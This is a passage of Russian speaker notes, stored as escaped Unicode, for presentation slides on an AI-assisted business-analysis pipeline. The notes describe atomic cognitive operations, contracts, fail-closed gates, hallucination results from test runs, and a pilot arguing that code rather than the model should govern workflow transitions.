\u0442\u0435\u0440\u043c\u0438\u043d\u0430\u0445. \u0418\u0437 11\\n\u0441\u0443\u0449\u043d\u043e\u0441\u0442\u0435\u0439 \u043c\u043e\u0434\u0435\u043b\u0438 \u043d\u0430 \u0441\u043b\u0430\u0439\u0434\u0435 \u2014 \u0447\u0435\u0442\u044b\u0440\u0435 \u0443\u0440\u043e\u0432\u043d\u044f \u0438 \u0447\u0435\u0442\u044b\u0440\u0435 \u0438\u043d\u0432\u0430\u0440\u0438\u0430\u043d\u0442\u0430.\\n\\n**\u0422\u0435\u043a\u0441\u0442.**\\n\\n- \u0420\u0430\u0431\u043e\u0442\u0430 \u0440\u0430\u0441\u043a\u043b\u0430\u0434\u044b\u0432\u0430\u0435\u0442\u0441\u044f \u0441\u0432\u0435\u0440\u0445\u0443 \u0432\u043d\u0438\u0437: **\u043f\u0440\u043e\u0434\u0443\u043a\u0442 \u2192 \u043f\u0440\u043e\u0446\u0435\u0441\u0441 \u2192 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u044f \u2192\\n  \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442**. \u041f\u0440\u043e\u0446\u0435\u0441\u0441 \u0441\u043e\u0441\u0442\u043e\u0438\u0442 \u0438\u0437 \u043d\u0430\u0432\u044b\u043a\u043e\u0432, \u043d\u0430\u0432\u044b\u043a \u2014 \u0438\u0437 \u0430\u0442\u043e\u043c\u0430\u0440\u043d\u044b\u0445 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0439.\\n- \u0421\u043b\u043e\u0432\u0430\u0440\u0438 \u0437\u0430\u043a\u0440\u044b\u0442\u044b: 33 \u043d\u0430\u0432\u044b\u043a\u0430, 31 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u044f. \u0415\u0441\u043b\u0438 \u043d\u0443\u0436\u043d\u043e\u0433\u043e \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u044f \u043d\u0435\u0442, \u044d\u0442\u043e\\n  \u043e\u0442\u043a\u0430\u0437 \u0438 \u0437\u0430\u0434\u0430\u0447\u0430 \u043d\u0430 \u0440\u0430\u0441\u0448\u0438\u0440\u0435\u043d\u0438\u0435 \u0441\u043b\u043e\u0432\u0430\u0440\u044f, \u0430 \u043d\u0435 \u0438\u043c\u043f\u0440\u043e\u0432\u0438\u0437\u0430\u0446\u0438\u044f \u043c\u043e\u0434\u0435\u043b\u0438.\\n- \u0417\u0430\u043a\u043e\u043d \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0441\u0442\u0432\u0430 \u0447\u0438\u0442\u0430\u0435\u0442\u0441\u044f \u0441\u043b\u0435\u0432\u0430 \u043d\u0430\u043f\u0440\u0430\u0432\u043e: \u0438\u0437 \u0432\u0445\u043e\u0434\u0430, \u0434\u043b\u044f \u043a\u043e\u043d\u043a\u0440\u0435\u0442\u043d\u043e\u0433\u043e\\n  \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u0430 \u0438 \u0441\u0438\u0441\u0442\u0435\u043c\u044b, \u043e\u0434\u043d\u043e\u0439 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0435\u0439, \u043e\u0434\u043d\u0438\u043c \u0430\u043a\u0442\u043e\u0440\u043e\u043c \u2014 \u0447\u0435\u0440\u0435\u0437 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442 \u0438\\n  \u0433\u0435\u0439\u0442 \u2014 \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u0442\u0441\u044f \u0432\u044b\u0445\u043e\u0434 \u0441\u043e \u0441\u043b\u0435\u0434\u043e\u043c \u043f\u0440\u043e\u0438\u0441\u0445\u043e\u0436\u0434\u0435\u043d\u0438\u044f.\\n- \u0427\u0435\u0442\u044b\u0440\u0435\\n  [\u0438\u043d\u0432\u0430\u0440\u0438\u0430\u043d\u0442\u0430](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/10-theory.md)\\n  \u2014 \u043e\u0442\u0432\u0435\u0442\u044b \u043d\u0430 \u0438\u0437\u043c\u0435\u0440\u0435\u043d\u043d\u044b\u0435 \u0434\u0435\u0444\u0435\u043a\u0442\u044b. \u041d\u0435\u0442 \u0448\u0430\u0433\u0430 \u0431\u0435\u0437 \u0432\u0445\u043e\u0434\u0430 \u2014 \u043f\u043e\u0442\u043e\u043c\u0443 \u0447\u0442\u043e 50 \u0438\u0437 67\\n  \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 \u0432\u0445\u043e\u0434\u0430 \u043d\u0435 \u043e\u0431\u044a\u044f\u0432\u043b\u044f\u043b\u0438. \u041f\u0440\u043e\u0434\u0443\u043a\u0442 \u043e\u0431\u044a\u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0434\u043e \u0448\u0430\u0433\u0430 \u2014 \u043f\u043e\u0442\u043e\u043c\u0443 \u0447\u0442\u043e\\n  \u043b\u0435\u043a\u0441\u0438\u043a\u0430 \u0437\u0430\u0434\u0430\u0447\u0438 \u0443\u043a\u0430\u0437\u044b\u0432\u0430\u0435\u0442 \u0431\u043e\u043b\u044c\u0448\u0435 \u0447\u0435\u043c \u043d\u0430 \u043e\u0434\u0438\u043d \u0434\u043e\u043c\u0435\u043d \u0432 66 \u0438\u0437 67 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432.\\n\\n**\u041a\u0430\u043a:** \u043a\u0430\u0436\u0434\u044b\u0439 \u0438\u043d\u0432\u0430\u0440\u0438\u0430\u043d\u0442 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442\u0441\u044f \u043c\u0430\u0448\u0438\u043d\u043e\u0439. \u0414\u0432\u0430 \u2014 \u043f\u0440\u0435\u0434\u0443\u0441\u043b\u043e\u0432\u0438\u044f \u0448\u0430\u0433\u0430, \u0434\u0432\u0430 \u2014\\n\u043f\u043e\u0441\u0442\u0443\u0441\u043b\u043e\u0432\u0438\u044f.\\n\\n**\u041c\u043e\u0441\u0442\u0438\u043a:** \u00ab\u0421\u0430\u043c\u043e\u0435 \u0432\u0430\u0436\u043d\u043e\u0435 \u043d\u0430 \u044d\u0442\u043e\u0439 \u0441\u0445\u0435\u043c\u0435 \u2014 \u043d\u0438\u0436\u043d\u0438\u0439 \u0443\u0440\u043e\u0432\u0435\u043d\u044c, \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u044f. \u0418\u043c\u0435\u043d\u043d\u043e\\n\u0442\u0430\u043c \u043f\u0440\u043e\u0438\u0437\u043e\u0448\u0451\u043b \u043f\u0440\u043e\u0440\u044b\u0432\u00bb.\\n\\n---\\n\\n## \u0421\u043b\u0430\u0439\u0434 6. \u041c\u044b \u043d\u0435 \u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0437\u0438\u0440\u0443\u0435\u043c \u043c\u044b\u0441\u043b\u044c: \u043c\u044b \u043e\u0446\u0438\u0444\u0440\u043e\u0432\u044b\u0432\u0430\u0435\u043c \u043a\u043e\u0433\u043d\u0438\u0442\u0438\u0432\u043d\u0443\u044e \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u044e \u0438 \u0441\u0442\u0430\u0432\u0438\u043c \u043d\u0430 \u0435\u0451 \u0432\u044b\u0445\u043e\u0434 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\\n\\n**\u0412\u0440\u0435\u043c\u044f:** 3 \u043c\u0438\u043d\u0443\u0442\u044b. **\u0426\u0435\u043b\u044c:** \u0433\u043b\u0430\u0432\u043d\u044b\u0439 \u0441\u043b\u0430\u0439\u0434. \u041f\u043e\u043a\u0430\u0437\u0430\u0442\u044c, \u0447\u0442\u043e \u0438\u043c\u0435\u043d\u043d\u043e \u043c\u044b \u0434\u0435\u043b\u0430\u0435\u043c\\n\u0438\u043d\u0430\u0447\u0435 \u0438 \u043f\u043e\u0447\u0435\u043c\u0443 \u044d\u0442\u043e \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442 \u0442\u0430\u043c, \u0433\u0434\u0435 \u043f\u0440\u043e\u043c\u043f\u0442 \u043d\u0435 \u0441\u0440\u0430\u0431\u043e\u0442\u0430\u043b.\\n\\n**\u0422\u0435\u043a\u0441\u0442.**\\n\\n- \u0413\u0438\u043f\u043e\u0442\u0435\u0437\u0430: \u043a\u043e\u0433\u043d\u0438\u0442\u0438\u0432\u043d\u0430\u044f \u0440\u0430\u0431\u043e\u0442\u0430 \u0411\u0410 \u043f\u043b\u043e\u0445\u043e \u043f\u043e\u0434\u0434\u0430\u0451\u0442\u0441\u044f \u043f\u0440\u044f\u043c\u043e\u0439 \u0433\u0435\u043d\u0435\u0440\u0430\u0446\u0438\u0438. \u041b\u0443\u0447\u0448\u0435\u0435\\n  \u0434\u043e\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u043e \u2014\\n  [RUN-0018](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/methodology-unification/40-practice-and-cases.md).\\n  \u0421\u0442\u0440\u043e\u0433\u0438\u0439 \u043f\u043e\u0448\u0430\u0433\u043e\u0432\u044b\u0439 \u043f\u0440\u043e\u043c\u043f\u0442, \u0432\u043e\u0441\u0435\u043c\u044c \u0448\u0430\u0433\u043e\u0432, \u0432 \u043a\u0430\u0436\u0434\u043e\u043c \u0441\u0430\u043c\u043e\u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430. \u0420\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442 \u2014\\n  8 \u0433\u0430\u043b\u043b\u044e\u0446\u0438\u043d\u0430\u0446\u0438\u0439, \u043e\u0434\u043d\u0430 \u0434\u043e\u0448\u043b\u0430 \u0434\u043e \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430. \u0412\u044b\u0432\u043e\u0434 \u0441\u0430\u043c\u043e\u0433\u043e \u043f\u0440\u043e\u0433\u043e\u043d\u0430: \u00ab\u041c\u0435\u0445\u0430\u043d\u0438\u043a\u0430\\n  \u043f\u0440\u043e\u043c\u043f\u0442\u0430 \u0441\u043e\u0431\u043b\u044e\u0434\u0435\u043d\u0430, \u0434\u043e\u0441\u0442\u043e\u0432\u0435\u0440\u043d\u043e\u0441\u0442\u044c \u0444\u0430\u043a\u0442\u043e\u0432 \u043d\u0435 \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0435\u043d\u0430\u00bb.\\n- \u041f\u043e\u044d\u0442\u043e\u043c\u0443 \u043c\u044b \u0440\u0430\u0437\u043b\u043e\u0436\u0438\u043b\u0438 \u0440\u0430\u0431\u043e\u0442\u0443 \u043d\u0430\\n  [31 \u0430\u0442\u043e\u043c\u0430\u0440\u043d\u0443\u044e \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u044e](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/operation-taxonomy/10-theory.md)\\n  \u0432 \u043f\u044f\u0442\u0438 \u043a\u043e\u0433\u043d\u0438\u0442\u0438\u0432\u043d\u044b\u0445 \u043a\u043b\u0430\u0441\u0441\u0430\u0445. \u041a\u043b\u0430\u0441\u0441 \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u044f\u0435\u0442\u0441\u044f \u0442\u0435\u043c, \u043e\u0442\u043a\u0443\u0434\u0430 \u0431\u0435\u0440\u0451\u0442\u0441\u044f\\n  \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u043d\u0438\u0435 \u0432\u044b\u0445\u043e\u0434\u0430.\\n- \u041a\u043b\u0430\u0441\u0441 \u0437\u0430\u0434\u0430\u0451\u0442 \u043c\u0435\u0445\u0430\u043d\u0438\u0437\u043c \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044f. \u0418\u0437\u0432\u043b\u0435\u0447\u0435\u043d\u0438\u0435 \u0441\u0432\u0435\u0440\u044f\u0435\u0442\u0441\u044f \u0441 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u043e\u043c.\\n  \u041f\u0440\u0435\u043e\u0431\u0440\u0430\u0437\u043e\u0432\u0430\u043d\u0438\u0435 \u2014 \u0441\u043e \u0441\u0445\u0435\u043c\u043e\u0439. \u041f\u043e\u0440\u043e\u0436\u0434\u0435\u043d\u0438\u0435, \u0433\u0434\u0435 \u043f\u043e\u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u043d\u043e\u0432\u043e\u0435 \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u043d\u0438\u0435,\\n  \u0438\u0434\u0451\u0442 \u0447\u0435\u0440\u0435\u0437 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a \u0438 \u0447\u0435\u043b\u043e\u0432\u0435\u043a\u0430. \u0412\u044b\u0431\u043e\u0440 \u0434\u043e\u043b\u0436\u0435\u043d \u0431\u044b\u0442\u044c \u043e\u0431\u043e\u0441\u043d\u043e\u0432\u0430\u043d.\\n- \u041f\u043e\u0432\u0435\u0440\u0445 \u2014 fail-closed. \u041d\u0435\u0442 \u0432\u0445\u043e\u0434\u0430, \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0430 \u0438\u043b\u0438 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u0430 \u2014 \u0448\u0430\u0433\\n  \u043e\u0441\u0442\u0430\u043d\u0430\u0432\u043b\u0438\u0432\u0430\u0435\u0442\u0441\u044f \u0438 \u0437\u0430\u0434\u0430\u0451\u0442 \u0432\u043e\u043f\u0440\u043e\u0441. \u041f\u0443\u0441\u0442\u043e\u0439 \u0441\u043b\u043e\u0442 \u0441 \u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d\u043d\u043e\u0439 \u043f\u0440\u0438\u0447\u0438\u043d\u043e\u0439 \u043b\u0443\u0447\u0448\u0435\\n  \u0432\u044b\u0434\u0443\u043c\u0430\u043d\u043d\u043e\u0433\u043e \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u044f.\\n- \u042d\u0442\u043e \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442 \u043d\u0430 \u043f\u0440\u0430\u043a\u0442\u0438\u043a\u0435: RUN-0059 \u0441 \u0442\u0430\u043a\u0438\u043c \u043f\u0440\u0430\u0432\u0438\u043b\u043e\u043c \u043d\u0435 \u043f\u0440\u0438\u0434\u0443\u043c\u0430\u043b\\n  \u043d\u0435\u0438\u0437\u0432\u0435\u0441\u0442\u043d\u044b\u0435 endpoint'\u044b Mango, \u0430 \u043e\u0441\u0442\u0430\u0432\u0438\u043b \u043f\u0440\u043e\u0431\u0435\u043b. RUN-0060 \u0434\u0430\u043b 101\\n  \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u044e \u0432\u043e\u0441\u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u043c\u044b\u0435 \u0441\u0441\u044b\u043b\u043a\u0438 \u043d\u0430 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a.\\n\\n**\u041f\u043e\u0447\u0435\u043c\u0443 \u044d\u0442\u043e \u043f\u0440\u043e\u0440\u044b\u0432, \u0430 \u043d\u0435 \u043e\u0447\u0435\u0440\u0435\u0434\u043d\u043e\u0435 \u043f\u0440\u0430\u0432\u0438\u043b\u043e:** \u043c\u044b \u043f\u0435\u0440\u0435\u0441\u0442\u0430\u043b\u0438 \u0441\u043f\u0440\u0430\u0448\u0438\u0432\u0430\u0442\u044c \u0443\\n\u043c\u043e\u0434\u0435\u043b\u0438, \u0445\u043e\u0440\u043e\u0448 \u043b\u0438 \u0435\u0451 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442. \u0421\u0430\u043c\u043e\u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 \u043c\u043e\u0434\u0435\u043b\u0438 \u043d\u0435 \u043b\u043e\u0432\u0438\u0442 \u043e\u0448\u0438\u0431\u043a\u0443,\\n\u043a\u043e\u0442\u043e\u0440\u0430\u044f \u0432\u044b\u0440\u043e\u0441\u043b\u0430 \u0438\u0437 \u0435\u0451 \u0436\u0435 \u043b\u043e\u0436\u043d\u043e\u0433\u043e \u0443\u0431\u0435\u0436\u0434\u0435\u043d\u0438\u044f. \u041f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 \u043e\u0442\u0434\u0435\u043b\u0435\u043d\u0430 \u043e\u0442\\n\u0433\u0435\u043d\u0435\u0440\u0430\u0446\u0438\u0438 \u0438 \u0432\u044b\u0431\u0440\u0430\u043d\u0430 \u043f\u043e \u0442\u0438\u043f\u0443 \u0440\u0430\u0431\u043e\u0442\u044b.\\n\\n**\u041c\u043e\u0441\u0442\u0438\u043a:** \u00ab\u0418\u0437 \u044d\u0442\u0438\u0445 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0439 \u0441\u043e\u0431\u0438\u0440\u0430\u0435\u0442\u0441\u044f \u043a\u043e\u043d\u0432\u0435\u0439\u0435\u0440. \u041f\u043e\u043a\u0430\u0436\u0443 \u0435\u0433\u043e \u0446\u0435\u043b\u0438\u043a\u043e\u043c \u0438\\n\u0441\u0440\u0430\u0437\u0443 \u0441\u043a\u0430\u0436\u0443, \u0447\u0442\u043e \u0432 \u043d\u0451\u043c \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442, \u0430 \u0447\u0442\u043e \u043f\u043e\u043a\u0430 \u043d\u0435\u0442\u00bb.\\n\\n---\\n\\n## \u0421\u043b\u0430\u0439\u0434 7. \u041a\u043e\u043d\u0432\u0435\u0439\u0435\u0440 \u043f\u0440\u0435\u0432\u0440\u0430\u0449\u0430\u0435\u0442 \u0441\u044b\u0440\u043e\u0439 \u0437\u0430\u043f\u0440\u043e\u0441 \u0432 \u043f\u0440\u043e\u0432\u0435\u0440\u0435\u043d\u043d\u044b\u0439 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442 \u0437\u0430 \u043f\u044f\u0442\u044c \u0448\u0430\u0433\u043e\u0432 \u0438 \u0434\u0432\u0430 \u0433\u0435\u0439\u0442\u0430\\n\\n**\u0412\u0440\u0435\u043c\u044f:** 2,5 \u043c\u0438\u043d\u0443\u0442\u044b. **\u0426\u0435\u043b\u044c:** \u043f\u043e\u043a\u0430\u0437\u0430\u0442\u044c \u0446\u0435\u043b\u0435\u0432\u043e\u0439 \u043f\u0440\u043e\u0446\u0435\u0441\u0441 \u0438 \u0447\u0435\u0441\u0442\u043d\u043e \u0440\u0430\u0437\u043c\u0435\u0442\u0438\u0442\u044c\\n\u0433\u043e\u0442\u043e\u0432\u043d\u043e\u0441\u0442\u044c \u044d\u0442\u0430\u043f\u043e\u0432.\\n\\n**\u0422\u0435\u043a\u0441\u0442.**\\n\\n- \u041d\u043e\u0440\u043c\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u044f: \u0442\u0440\u0430\u043d\u0441\u043a\u0440\u0438\u043f\u0442 \u0432\u0441\u0442\u0440\u0435\u0447\u0438 \u0438 \u043f\u0435\u0440\u0435\u043f\u0438\u0441\u043a\u0430 \u043f\u0440\u0438\u0432\u043e\u0434\u044f\u0442\u0441\u044f \u043a \u0432\u0445\u043e\u0434\u043d\u043e\u043c\u0443\\n  \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u0443. \u0411\u0435\u0437 \u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u0430 \u0448\u0430\u0433 \u043d\u0435 \u0441\u0442\u0430\u0440\u0442\u0443\u0435\u0442.\\n- \u0421\u0432\u0435\u0440\u043a\u0430: \u043a\u0430\u0436\u0434\u044b\u0439 \u0444\u0430\u043a\u0442 \u043f\u0440\u0438\u0432\u044f\u0437\u044b\u0432\u0430\u0435\u0442\u0441\u044f \u043a \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u0446\u0438\u0438 \u0438\u043b\u0438 \u043a\u0435\u0439\u0441\u0443. \u041d\u0435\u044f\u0441\u043d\u043e\u0441\u0442\u044c\\n  \u043f\u0440\u0435\u0432\u0440\u0430\u0449\u0430\u0435\u0442\u0441\u044f \u0432 \u0432\u043e\u043f\u0440\u043e\u0441 \u0437\u0430\u043a\u0430\u0437\u0447\u0438\u043a\u0443, \u0430 \u043d\u0435 \u0432 \u0434\u043e\u043f\u0443\u0449\u0435\u043d\u0438\u0435.\\n- \u0413\u0435\u043d\u0435\u0440\u0430\u0446\u0438\u044f \u043f\u043e \u0437\u043e\u043b\u043e\u0442\u043e\u043c\u0443 \u0448\u0430\u0431\u043b\u043e\u043d\u0443. \u041c\u044b\\n  [\u043f\u0440\u043e\u0432\u0435\u0440\u0438\u043b\u0438](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/analysis/2026-09-23-bcreq-golden-forms-and-feasibility.md):\\n  \u043e\u0434\u043d\u0430 \u0444\u043e\u0440\u043c\u0430 BCREQ \u0438\u0437 7 \u0440\u0430\u0437\u0434\u0435\u043b\u043e\u0432 \u043f\u043e\u0434\u0445\u043e\u0434\u0438\u0442 \u0434\u043b\u044f API, \u043b\u0438\u0447\u043d\u043e\u0433\u043e \u043a\u0430\u0431\u0438\u043d\u0435\u0442\u0430 \u0438\\n  \u043a\u043e\u043d\u0442\u0430\u043a\u0442-\u0446\u0435\u043d\u0442\u0440\u0430. \u0414\u043b\u044f \u043a\u043e\u043d\u0442\u0430\u043a\u0442-\u0446\u0435\u043d\u0442\u0440\u0430 \u0432 \u043f\u0430\u043a\u0435\u0442\u0435 2 \u043f\u043e\u043b\u043e\u0436\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0445 \u0438 4\\n  \u043e\u0442\u0440\u0438\u0446\u0430\u0442\u0435\u043b\u044c\u043d\u044b\u0445\\n  [\u0437\u043e\u043b\u043e\u0442\u044b\u0445 \u043a\u0435\u0439\u0441\u0430](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/tree/main/projects/ba-ai-process/dist/execution-package-gigacode-cli/golden)\\n  \u2014 \u043d\u0430 \u0442\u0438\u043f\u043e\u0432\u044b\u0435 \u043f\u0443\u0442\u0430\u043d\u0438\u0446\u044b \u0432\u0440\u043e\u0434\u0435 SLA \u0438 AHT.\\n- \u0413\u0435\u0439\u0442\u044b: \u043c\u0430\u0448\u0438\u043d\u0430 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442 \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0443 \u0438 \u0441\u0445\u0435\u043c\u0443, \u0447\u0435\u043b\u043e\u0432\u0435\u043a \u2014 \u0441\u043c\u044b\u0441\u043b \u0438 \u0441\u043f\u043e\u0440\u043d\u044b\u0435\\n  \u0432\u044b\u0431\u043e\u0440\u044b. \u0427\u0435\u043b\u043e\u0432\u0435\u043a \u043d\u0435 \u043f\u0435\u0440\u0435\u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442 \u0442\u043e, \u0447\u0442\u043e \u043c\u043e\u0436\u0435\u0442 \u043f\u0440\u043e\u0432\u0435\u0440\u0438\u0442\u044c \u043c\u0430\u0448\u0438\u043d\u0430.\\n- \u041f\u0440\u043e\u0435\u043a\u0446\u0438\u044f: \u0438\u0437 \u043e\u0434\u043d\u043e\u0433\u043e \u0440\u0430\u0431\u043e\u0447\u0435\u0433\u043e \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430 \u0441\u043e\u0431\u0438\u0440\u0430\u044e\u0442\u0441\u044f \u0447\u0442\u0435\u043d\u0438\u044f \u0434\u043b\u044f \u0431\u0438\u0437\u043d\u0435\u0441\u0430,\\n  \u0441\u043e\u0433\u043b\u0430\u0441\u043e\u0432\u0430\u043d\u0438\u044f, \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u043a\u0438 \u0438 \u0434\u043e\u0433\u043e\u0432\u043e\u0440\u0430.\\n\\n**\u0421\u0442\u0430\u0442\u0443\u0441 \u2014 \u0441\u043a\u0430\u0437\u0430\u0442\u044c \u043f\u0440\u044f\u043c\u043e:**\\n\\n- \u0420\u0430\u0431\u043e\u0442\u0430\u0435\u0442 \u0438 \u0432\u043e\u0441\u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u043c\u043e: \u043c\u0430\u0448\u0438\u043d\u043d\u0430\u044f \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 \u0438 \u0441\u0431\u043e\u0440\u043a\u0430 Release. \u0414\u0432\u0435 \u0441\u0431\u043e\u0440\u043a\u0438\\n  \u043e\u0434\u043d\u043e\u0433\u043e \u0440\u0430\u0431\u043e\u0447\u0435\u0433\u043e \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430 \u0434\u0430\u044e\u0442\\n  [\u043f\u043e\u0431\u0430\u0439\u0442\u043d\u043e \u043e\u0434\u0438\u043d\u0430\u043a\u043e\u0432\u044b\u0439 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/analysis/2026-09-29-cline-package-expectation-gap.md).\\n- \u0412 \u043f\u0438\u043b\u043e\u0442\u0435 \u043d\u0430 \u0410\u0420\u041c: \u043d\u043e\u0440\u043c\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u044f, \u0441\u0432\u0435\u0440\u043a\u0430, \u0433\u0435\u043d\u0435\u0440\u0430\u0446\u0438\u044f \u2014 \u043d\u0430 \u0441\u0440\u0435\u0437\u0435\\n  `contact-center`.\\n- \u041d\u0435 \u0438\u0437\u043c\u0435\u0440\u0435\u043d\u043e: \u0432\u044b\u0434\u0430\u0447\u0430 \u043a\u0430\u0436\u0434\u043e\u0439 \u043f\u0440\u043e\u0435\u043a\u0446\u0438\u0438 \u0438 \u0447\u0435\u043b\u043e\u0432\u0435\u043a\u043e\u0447\u0438\u0442\u0430\u0435\u043c\u044b\u0439 \u0432\u0438\u0434 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u0430.\\n  \u0421\u0435\u0439\u0447\u0430\u0441 \u043c\u0430\u0448\u0438\u043d\u0430 \u0432\u044b\u0434\u0430\u0451\u0442 \u043a\u0430\u043d\u043e\u043d\u0438\u0447\u0435\u0441\u043a\u0438\u0439 JSON, \u0430 \u0447\u0438\u0442\u0430\u0435\u043c\u044b\u0439 \u0442\u0435\u043a\u0441\u0442 \u2014 \u043f\u0435\u0440\u0435\u0441\u043a\u0430\u0437\\n  \u043c\u043e\u0434\u0435\u043b\u0438. \u042d\u0442\u043e \u0438\u0437\u0432\u0435\u0441\u0442\u043d\u044b\u0439 \u043f\u0440\u043e\u0431\u0435\u043b.\\n\\n**\u041c\u043e\u0441\u0442\u0438\u043a:** \u00ab\u0413\u0434\u0435 \u044d\u0442\u043e\u0442 \u043a\u043e\u043d\u0432\u0435\u0439\u0435\u0440 \u0441\u0435\u0439\u0447\u0430\u0441 \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u0435\u0442\u0441\u044f \u0438 \u043f\u043e\u0447\u0435\u043c\u0443 \u043d\u0430\u043c \u043d\u0443\u0436\u043d\u0430 \u0434\u0440\u0443\u0433\u0430\u044f\\n\u0441\u0440\u0435\u0434\u0430?\u00bb\\n\\n---\\n\\n## \u0421\u043b\u0430\u0439\u0434 8. \u041f\u0438\u043b\u043e\u0442 \u043d\u0430 \u0410\u0420\u041c \u0434\u043e\u043a\u0430\u0437\u0430\u043b \u043c\u043e\u0434\u0435\u043b\u044c; \u0434\u043b\u044f \u0433\u0430\u0440\u0430\u043d\u0442\u0438\u0439 \u043f\u0435\u0440\u0435\u0445\u043e\u0434\u0430\u043c\u0438 \u0434\u043e\u043b\u0436\u0435\u043d \u0443\u043f\u0440\u0430\u0432\u043b\u044f\u0442\u044c \u043a\u043e\u0434, \u0430 \u043d\u0435 \u043c\u043e\u0434\u0435\u043b\u044c\\n\\n**\u0412\u0440\u0435\u043c\u044f:** 2,5 \u043c\u0438\u043d\u0443\u0442\u044b. **\u0426\u0435\u043b\u044c:** \u043e\u0431\u044a\u044f\u0441\u043d\u0438\u0442\u044c \u0442\u0435\u043a\u0443\u0449\u0438\u0439 \u043f\u0438\u043b\u043e\u0442 \u0438 \u043e\u0431\u043e\u0441\u043d\u043e\u0432\u0430\u0442\u044c \u0432\u0435\u043a\u0442\u043e\u0440\\n\u043d\u0430 \u0441\u0435\u0440\u0432\u0435\u0440\u043d\u0443\u044e \u0441\u0440\u0435\u0434\u0443 \u0430\u0440\u0445\u0438\u0442\u0435\u043a\u0442\u0443\u0440\u043d\u044b\u043c \u043f\u0440\u043e\u0431\u0435\u043b\u043e\u043c, \u0430 \u043d\u0435 \u0436\u0435\u043b\u0430\u043d\u0438\u0435\u043c.\\n\\n**\u0422\u0435\u043a\u0441\u0442.**\\n\\n- \u0410\u0440\u0445\u0438\u0442\u0435\u043a\u0442\u0443\u0440\u0430 \u0440\u0430\u0437\u0434\u0435\u043b\u0435\u043d\u0430 \u043f\u043e\\n  [ADR-017](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/decisions/2026-09-adr-017-ba-ai-process-source-distribution.md):\\n  Source \u0445\u0440\u0430\u043d\u0438\u0442 \u043c\u043e\u0434\u0435\u043b\u044c \u0438 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u044b, Distribution \u2014 \u0441\u043a\u043e\u043c\u043f\u0438\u043b\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u043f\u0430\u043a\u0435\u0442,\\n  Runtime \u2014 \u0441\u0440\u0435\u0434\u0443 